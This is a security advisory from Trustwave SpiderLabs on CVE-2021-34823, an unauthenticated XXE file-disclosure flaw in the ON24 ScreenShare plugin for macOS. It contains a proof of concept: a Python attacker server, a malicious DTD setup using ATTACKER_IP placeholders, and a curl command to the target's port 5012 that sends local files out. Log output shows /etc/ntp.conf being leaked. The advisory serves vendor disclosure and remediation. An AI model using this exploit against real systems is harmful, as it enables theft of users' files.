Trustwave SpiderLabs Security Advisory TWSL2021-010: Remote File Access Vulnerability in ON24 ScreenShare Plugin for macOS Vendor: ON24 (www.on24.com) Product: ON24 ScreenShare plugin for macOS Version affected: 1.0 Product description: ON24 ScreenShare plugin for macOS allows presenters to share their screens. Finding 1: ON24 ScreenShare plugin for macOS remote file access vulnerability *****Credit: Martin Rakhmanov of Trustwave CVE: CVE-2021-34823 CWE: 284 ON24 ScreenShare plugin for macOS (DesktopScreenShare.app) is prone to remote file access vulnerability via its built-in HTTP server. This allows unauthenticated remote users retrieve files accessible to the logged on macOS user. It should be noted that the plugin is started each time a user logs on to macOS. There is a HTTP-like server started by the ON24 ScreenShare plugin on TCP port 5012 and accessible to remote users without authentication. If a remote user sends specially crafted HTTP request to the server, it will trigger code path that will download a configuration file from specified remote machine over HTTP protocol. There is an XXE flaw in processing of this configuration that allows reading local to the macOS files and uploading them to remote machines. Attack scenario Malicious user prepares HTTP server on his machine that will respond to configuration file requests as well as to XSD file requests. To demonstrate the issue the following simple Python code can be used: #!/usr/bin/env python3 from http.server import HTTPServer, BaseHTTPRequestHandler import os base_path = os.path.dirname(__file__) class StaticServer(BaseHTTPRequestHandler): def execute_request(self): print("self.path: %s" %(self.path)) marker = self.path.find('?') if marker != -1: file_name = self.path[0:marker] else: file_name = self.path filename = 'files' + file_name self.send_response(200) self.send_header('Content-type', 'application/xml') self.end_headers() with open(os.path.join(base_path, filename), 'rb') as fh: self.wfile.write(fh.read()) def do_POST(self): self.execute_request() def do_GET(self): self.execute_request() def run(server_class=HTTPServer, handler_class=StaticServer, port=8000): server_address = ('', port) httpd = server_class(server_address, handler_class) print('Starting Server on port {}'.format(port)) httpd.serve_forever() run() Then the attacker needs to prepare directory structure on his machine with files that the above server will serve: files/ ext2.dtd log view/ screenshare/ prod-north_america-ingress.xml In the above layout files ext2.dtd and prod-north_america-ingress.xml are non-empty: prod-north_america-ingress.xml &send; ext2.dtd "> %wrapper2; ATTACKER_IP in both files should be replaced with actual IP address of attacker's machine and PORT should be set. File 'log' is an empty file. Lastly, to launch the attack (replace TARGET and ATTACKER_IP:PORT with actual values first): curl -v "http://TARGET:5012/start?param1=&hostname=ATTACKER_IP:PORT&eventId=1&presenter=1&presenterName=MR&_=" Observe the Python HTTP server log: >python3 http_server.py Starting Server on port 8000 self.path: /view/screenshare/prod-north_america-ingress.xml?ms=1617725633694 192.168.1.20 - - [06/Apr/2021 12:13:57] "POST /view/screenshare/prod-north_america-ingress.xml?ms=1617725633694 HTTP/1.1" 200 - self.path: /ext2.dtd 192.168.1.20 - - [06/Apr/2021 12:13:57] "GET /ext2.dtd HTTP/1.1" 200 - self.path: /log?server%20time.apple.com Note the last line showing content of the /etc/ntp.conf file as a parameter to the /log resource. Remediation Steps: Upgrade the ON24 ScreenShare plugin to version 2.0 or the latest stable version. Revision History: 04/08/2021 - Vulnerability disclosed to vendor 05/24/2021 - Patch released by vendor 06/21/2021 - Vendor provided fixed version details 07/20/2021 - Advisory published About Trustwave: Trustwave helps businesses fight cybercrime, protect data and reduce security risk. With cloud and managed security services, integrated technologies and a team of security experts, ethical hackers and researchers, Trustwave enables businesses to transform the way they manage their information security and compliance programs. More than three million businesses are enrolled in the Trustwave TrustKeeper® cloud platform, through which Trustwave delivers automated, efficient and cost-effective threat, vulnerability and compliance management. Trustwave is headquartered in Chicago, with customers in 96 countries. For more information about Trustwave, visit https://www.trustwave.com. About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.